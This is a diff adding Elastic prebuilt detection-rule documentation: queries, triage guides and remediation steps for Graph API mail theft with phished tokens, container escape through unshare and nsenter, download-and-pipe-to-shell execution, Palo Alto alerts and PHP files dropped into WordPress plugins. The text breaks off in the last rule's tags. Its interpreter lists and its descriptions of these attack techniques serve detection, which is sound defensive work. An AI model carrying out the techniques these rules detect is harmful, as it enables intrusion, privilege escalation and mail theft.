b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-microsoft-graph-email-access-by-unusual-user-and-client.asciidoc new file mode 100644 index 0000000000..8eda31578f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-microsoft-graph-email-access-by-unusual-user-and-client.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-28-microsoft-graph-email-access-by-unusual-user-and-client]] +=== Microsoft Graph Email Access by Unusual User and Client + +Identifies access to email resources via Microsoft Graph API using an first-party application on behalf of a user principal. This behavior may indicate an adversary using a phished OAuth refresh token or a Primary Refresh Token (PRT) to access email resources. The pattern includes requests to Microsoft Graph API endpoints related to email, such as /me/mailFolders/inbox/messages or /users/{user_id}/messages, using a public client application ID and a user principal object ID. This is a New Terms rule that only signals if the application ID, user principal object ID, and source ASN have not been seen doing this activity historically. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.graphactivitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Graph Email Access by Unusual User and Client* + + +This rule detects instances where a previously unseen or rare Microsoft Graph application client ID accesses email-related API paths, such as `/v1.0/me/messages`, `/v1.0/me/mailFolders/inbox/messages`, or `/v1.0/users/{id}/messages`. The access is performed with a delegated user token issued to a first-party public client (public client authentication, no client secret), which is the token shape produced by phished OAuth refresh tokens or Primary Refresh Tokens (PRTs). This activity may indicate unauthorized use of a newly consented or compromised application to read or exfiltrate mail content. This is a New Terms rule that only signals if the application ID (`azure.graphactivitylogs.properties.app_id`), user principal object ID (`azure.graphactivitylogs.properties.user_principal_object_id`), and source ASN (`azure.graphactivitylogs.properties.source_asn`) have not been seen doing this activity historically. + + +*Possible Investigation Steps:* + + +- `azure.graphactivitylogs.properties.app_id`: Investigate the application ID involved. Is it known and sanctioned in your tenant? Pivot to Azure Portal → Enterprise Applications → Search by App ID to determine app details, publisher, and consent status. +- `azure.graphactivitylogs.properties.scopes`: When present, review the delegated scopes on the token. Email-related scopes such as `Mail.ReadWrite` and `Mail.Send` are especially sensitive and confirm the token can interact with mail content. +- `url.path`: Determine exactly which mail-related APIs were accessed (e.g., reading inbox, sending messages, enumerating folders). +- `user.id`: Identify the user whose credentials were used. Determine if the user recently consented to a new app, clicked a phishing link, or reported suspicious activity. +- `user_agent.original`: Check for suspicious automation tools (e.g., `python-requests`, `curl`, non-browser agents), which may suggest scripted access. +- `source.ip` and `client.geo`: Investigate the source IP and geography. Look for unusual access from unexpected countries, VPS providers, or anonymizing services. +- `http.request.method`: Determine intent based on HTTP method — `GET` (reading), `POST` (sending), `PATCH`/`DELETE` (modifying/removing messages). +- `token_issued_at` and `@timestamp`: Determine how long the token has been active and whether access is ongoing or recent. +- `azure.graphactivitylogs.properties.c_sid`: Use the session correlation ID to identify other related activity in the same session. This may help identify if the app is accessing multiple users' mailboxes or if the same user is accessing multiple apps. +- Correlate with Microsoft Entra ID (`azure.auditlogs` and `azure.signinlogs`) to determine whether: + - The app was recently granted admin or user consent + - Risky sign-ins occurred just prior to or after mail access + - The same IP or app ID appears across multiple users + + +*False Positive Analysis* + + +- New legitimate apps may appear after a user consents via OAuth. Developers, third-party tools, or IT-supplied utilities may access mail APIs if users consent. +- Users leveraging Microsoft development environments (e.g., Visual Studio Code) may trigger this behavior with delegated `.default` permissions. +- Admin-approved apps deployed via conditional access may trigger similar access logs if not previously seen in detection baselines. + + +*Response and Remediation* + + +- If access is unauthorized or unexpected: + - Revoke the app's consent in Azure AD via the Enterprise Applications blade. + - Revoke user refresh tokens via Microsoft Entra or PowerShell. + - Investigate the user's session and alert them to possible phishing or OAuth consent abuse. +- Review and restrict risky OAuth permissions in Conditional Access and App Governance policies. +- Add known, trusted app IDs to a detection allowlist to reduce noise in the future. +- Continue monitoring the app ID for additional usage across the tenant or from suspicious IPs. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.graphactivitylogs and + azure.graphactivitylogs.result_signature:200 and + azure.graphactivitylogs.properties.c_idtyp:user and + azure.graphactivitylogs.properties.client_auth_method:0 and + http.request.method:(DELETE or GET or PATCH or POST or PUT) and + url.path:((/beta/me/* or /beta/users/* or /v1.0/me/* or /v1.0/users/*) and (*inbox* or *mail* or *messages*) and not *mailboxSettings*) and + azure.graphactivitylogs.properties.app_id:* and + azure.graphactivitylogs.properties.user_principal_object_id:* and + source.as.number:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-namespace-manipulation-using-unshare.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-namespace-manipulation-using-unshare.asciidoc new file mode 100644 index 0000000000..3a2c05b538 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-namespace-manipulation-using-unshare.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-28-namespace-manipulation-using-unshare]] +=== Namespace Manipulation Using Unshare + +Identifies suspicious usage of unshare to manipulate system namespaces. Unshare can be utilized to escalate privileges or escape container security boundaries. Threat actors have utilized this binary to allow themselves to escape to the host and access other resources or escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://man7.org/linux/man-pages/man1/unshare.1.html +* https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Namespace Manipulation Using Unshare* + + +The `unshare` command in Linux is used to create new namespaces, isolating processes from the rest of the system. This isolation is crucial for containerization and security. However, attackers can exploit `unshare` to break out of containers or elevate privileges by creating namespaces that bypass security controls. The detection rule identifies suspicious `unshare` executions by monitoring process starts, filtering out benign parent processes, and focusing on unusual usage patterns, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process tree to understand the context of the unshare execution, focusing on the parent process and any child processes spawned by unshare. +- Investigate the user account associated with the unshare execution to determine if it is a legitimate user or potentially compromised. +- Examine the command-line arguments used with unshare to identify any unusual or suspicious options that may indicate an attempt to bypass security controls. +- Check for any recent changes or anomalies in the system logs around the time of the unshare execution to identify potential indicators of compromise or privilege escalation attempts. +- Correlate the unshare event with other security alerts or logs to determine if it is part of a larger attack pattern or campaign. + + +*False positive analysis* + + +- System management tools like udevadm and systemd-udevd may invoke unshare as part of their normal operations. These should be excluded by ensuring the rule filters out processes with these as parent executables. +- Snap package management can trigger unshare during its operations. Exclude processes where the arguments include /usr/bin/snap to prevent unnecessary alerts. +- Java applications might occasionally use unshare for legitimate purposes. Exclude processes with java as the parent name to reduce false positives. +- Custom scripts or administrative tasks that use unshare for legitimate namespace management should be reviewed and, if deemed safe, added to the exclusion list to prevent repeated alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further unauthorized access or lateral movement within the network. +- Terminate any suspicious processes associated with the `unshare` command that do not have legitimate parent processes or arguments, as identified in the detection query. +- Conduct a thorough review of system logs and process trees to identify any additional unauthorized or suspicious activities that may have occurred in conjunction with the `unshare` execution. +- Revoke any unauthorized access or privileges that may have been granted as a result of the namespace manipulation, ensuring that all user and process permissions are appropriately restricted. +- Restore the affected system from a known good backup if any unauthorized changes or damage to the system integrity are detected. +- Implement additional monitoring and alerting for unusual `unshare` usage patterns to enhance detection capabilities and prevent future occurrences. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "executed") and +process.name == "unshare" and not ( + ?process.parent.executable like ("/usr/bin/udevadm", "*/lib/systemd/systemd-udevd", "/usr/bin/unshare") or + ?process.args == "/usr/bin/snap" and not ?process.parent.name in ("zz-proxmox-boot", "java") or + ?process.parent.args like ( + "/etc/kernel/postinst.d/zz-proxmox-boot", "/opt/openssh/sbin/sshd", "/usr/sbin/sshd", + "/snap/*", "/home/*/.local/share/JetBrains/Toolbox/*", "/var/tmp/foreman-ssh-cmd-*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-newly-observed-palo-alto-network-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-newly-observed-palo-alto-network-alert.asciidoc new file mode 100644 index 0000000000..35949c6fd4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-newly-observed-palo-alto-network-alert.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-28-newly-observed-palo-alto-network-alert]] +=== Newly Observed Palo Alto Network Alert + +This rule detects Palo Alto Network alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/panw + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Domain: Network +* Data Source: PAN-OS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed Palo Alto Network Alert* + + +This rule surfaces newly observed, low-frequency high severity Palo Alto Network alert within the last 5 days. + +Because the alert has not been seen previously for this rule and host, it should be prioritized for validation to determine +whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the source address, affected host and review the associated rule name to understand the behavior that triggered the alert. +- Validate the source address under which the activity occurred and assess whether it aligns with normal behavior. +- Refer to the specific alert details like event.original to get more context. + + +*False Positive Considerations* + + +- Vulnerability scanners and pentesting. +- Administrative scripts or automation tools can trigger detections when first introduced. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-panw.panos-*, filebeat-* metadata _id + +// exclude Informational and Low severity levels (4 and 5) +| where data_stream.dataset == "panw.panos" and + TO_INTEGER(event.severity) <= 3 and + event.action != "flood_detected" and + (event.kind IS NULL or event.kind != "metric") + +| STATS Esql.alerts_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.distinct_count_src_ip = COUNT_DISTINCT(source.ip), + Esql.distinct_count_dst_ip = COUNT_DISTINCT(destination.ip), + src_ip = VALUES(source.ip), + dst_ip = VALUES(destination.ip), + url_dom = VALUES(url.domain), + url_path = VALUES(url.path) by rule.name, event.action, event.type, event.kind, event.severity + +// first time seen is within 10m of the rule execution time within last 5 days +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +| where Esql.recent <= 10 and Esql.alerts_count <= 5 and Esql.distinct_count_src_ip <= 2 and Esql.distinct_count_dst_ip <= 2 + +// move dynamic fields to ECS quivalent for rule exceptions +| eval source.ip = MV_FIRST(src_ip), + destination.ip = MV_FIRST(dst_ip), + url.domain = MV_FIRST(url_dom), + url.path = MV_FIRST(url_path) +| keep rule.name, event.*, Esql.*, source.ip, destination.ip, url.domain, url.path + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-nsenter-to-pid-namespace-via-auditd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-nsenter-to-pid-namespace-via-auditd.asciidoc new file mode 100644 index 0000000000..ec568aab70 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-nsenter-to-pid-namespace-via-auditd.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-28-nsenter-to-pid-namespace-via-auditd]] +=== Nsenter to PID Namespace via Auditd + +Detects nsenter executions that target PID with a namespace target flag, a pattern commonly used to attach to the host init namespace from a container or session and run with host context. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1611/ +* https://man7.org/linux/man-pages/man1/nsenter.1.html + +*Tags*: + +* Domain: Endpoint +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Nsenter to PID Namespace via Auditd* + + +Review process.args for the full nsenter invocation (target PID, mount, UTS, IPC, net, user namespaces), parent process, +user identity, and host. PID targeting is a strong escape or host-administration signal when unexpected for the actor. + + +*Possible investigation steps* + + +- Confirm whether the session originated from a container, SSH session, or automation agent. +- Pivot on the same host for subsequent writes under /etc, docker.sock access, or new systemd units. + + +*False positive analysis* + + +- Some CNI or snap workflows can resemble nsenter; rely on the built-in exclusions first, then tune by parent command + or service account. + + +*Response and remediation* + + +- If malicious, isolate the host, revoke credentials, inspect for persistence, and re-image if integrity cannot be proven. + + +==== Setup + + + +*Setup* + + +Deploy the Auditd Manager integration on Linux hosts that should emit process execution telemetry (Fleet, Integrations, +Auditd Manager, attach to an agent policy). + +Ensure syscall rules capture execve for utilities such as nsenter so event.category process and event.action executed +populate with process.name and process.args. + +See https://docs.elastic.co/integrations/auditd_manager for integration details. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.action:(exec or executed) and +(process.name:nsenter or process.args:nsenter) and +process.args:( + (-t or --target*) and + not --net=/run/netns/* and + not (--assertion and snap) and + not (is-active and snap.*) and + not (-anp and netstat) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-payload-downloaded-by-interpreter-and-piped-to-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-payload-downloaded-by-interpreter-and-piped-to-interpreter.asciidoc new file mode 100644 index 0000000000..743e7a2fdb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-payload-downloaded-by-interpreter-and-piped-to-interpreter.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-28-payload-downloaded-by-interpreter-and-piped-to-interpreter]] +=== Payload Downloaded by Interpreter and Piped to Interpreter + +This rule detects when a payload is downloaded by an interpreter, and piped to an interpreter. Attackers may use this technique to download and execute payloads for various malicious purposes, such as establishing persistence or exfiltrating data. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Payload Downloaded by Interpreter and Piped to Interpreter* + + +This rule flags a Linux interpreter that reaches out to an external address and then immediately starts another interpreter with no script argument, a strong sign that downloaded content is being fed directly into code execution. Attackers use this to avoid writing files and blend into admin activity, for example by having Python fetch a remote shell script with urllib and pipe the response into `sh` or `bash` to run a stager in memory. + + +*Possible investigation steps* + + +- Reconstruct the full process lineage and execution context, including the initiating user, shell history, service unit, cron job, container entrypoint, or remote session that triggered the download-and-execute chain, to distinguish sanctioned automation from attacker activity. +- Validate the remote endpoint by reviewing DNS, proxy, HTTP/TLS, and reputation data for the contacted infrastructure and compare it with known package mirrors, internal tooling, and recent maintenance activity to quickly identify likely benign installers versus suspicious staging hosts. +- Attempt to recover the downloaded payload from proxy caches, packet capture, endpoint telemetry, memory, or command history and analyze its behavior to determine whether it is a legitimate bootstrap script or a stager that enables persistence, credential theft, or additional downloads. +- Investigate post-alert activity on the host for concrete follow-on actions such as writes to temporary or startup locations, cron or systemd persistence, new accounts, SSH key changes, privilege escalation, lateral movement tooling, or security-control tampering. +- If the activity cannot be confidently tied to approved administration, isolate the system and pivot across the environment for the same parent-child lineage, remote infrastructure, script fragments, and resulting artifacts to scope impact and block recurrence. + + +*False positive analysis* + + +- Legitimate provisioning or maintenance on a Linux host may use a shell or Python one-liner to download an installation or update script from an approved external repository and pipe it to `sh` or `bash`; verify the parent process aligns with a known admin action or change window and that the destination and script content match an approved baseline. +- Scheduled automation can trigger this when a service account or system task fetches a small bootstrap script from a sanctioned internet endpoint and feeds it directly to an interpreter during deployment or configuration refresh; verify it was started by the expected cron or systemd context and that the same process lineage and destination recur consistently across managed hosts. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while preserving forensic access, stop the active interpreter chain, and block the contacted external IPs, domains, and download URLs at egress controls to prevent reinfection. +- Remove attacker footholds created by the downloaded script, including malicious cron entries, systemd services or timers, `/etc/rc.local` changes, shell profile modifications, unauthorized `authorized_keys` entries, and payloads dropped in `/tmp`, `/var/tmp`, `/dev/shm`, or user home directories. +- Revoke access the payload may have exposed by resetting passwords, rotating SSH keys, API tokens, and application secrets present on the host, and disabling any unauthorized local or service accounts created during the intrusion. +- Restore the host to a known-good state by rebuilding or reimaging from a trusted baseline or verified backup, applying current security patches, and validating that only approved packages, startup items, and scheduled tasks remain before reconnecting it to production. +- Escalate to incident response immediately if the script executed as root, the same download source or script fragment appears on multiple hosts, authentication material was accessed or modified, or you observe follow-on behaviors such as lateral movement, data staging, or persistent outbound beaconing. +- Harden the environment by restricting direct internet access from interpreters and automation accounts, allowlisting approved package mirrors and script repositories, enforcing least privilege for service users, and alerting on future `curl` or `wget` to shell and interpreter-to-interpreter execution patterns. + + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id, process.working_directory with maxspan=1s + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and ( + process.name like ( + "bash", "dash", "sh", "tcsh", "tclsh", "wish", "csh", "zsh", "ksh", "fish", + "mksh", "busybox", "rscript", "r", "julia", "mono", "dotnet", "groovy", "kotlin", + "scala", "erlang", "escript", "ocaml", "ocamlopt", "ld.so", "ld-linux-x86-64.so.2", + "ld-musl-x86_64.so.1", "awk", "gawk", "mawk", "nawk", "node", "nodejs", "deno", + "env", "timeout", "nice", "stdbuf", "setsid", "setarch", "unshare", "nsenter", "flock", + "runuser", "sudo", "snap" + ) or + process.name like ("python*", "perl*", "ruby*", "lua*", "php*", "qemu-*-static") + ) and + not (destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + )] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.name like ( + "bash", "dash", "sh", "tcsh", "tclsh", "wish", "csh", "zsh", "ksh", "fish", + "mksh", "busybox", "rscript", "r", "julia", "mono", "dotnet", "groovy", "kotlin", + "scala", "erlang", "escript", "ocaml", "ocamlopt", "ld.so", "ld-linux-x86-64.so.2", + "ld-musl-x86_64.so.1", "awk", "gawk", "mawk", "nawk", "node", "nodejs", "deno" + ) or + process.name like ("python*", "perl*", "ruby*", "lua*", "php*") + ) and ( + stringcontains(process.executable, process.command_line) or + stringcontains(process.name, process.command_line) + ) and + process.args_count == 1] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-php-file-creation-in-wordpress-plugin-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-php-file-creation-in-wordpress-plugin-directory.asciidoc new file mode 100644 index 0000000000..b5fc0932e4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-php-file-creation-in-wordpress-plugin-directory.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-28-php-file-creation-in-wordpress-plugin-directory]] +=== PHP File Creation in WordPress Plugin Directory + +Detects the creation of a PHP file in the WordPress plugin directory, which is a common technique used by attackers to establish persistence on a compromised web server. Attackers may upload a malicious PHP file and call it from a web browser to gain remote access to the server. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Icex0/wp2shell-poc + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Use Case: Vulnerability +* Data Source: 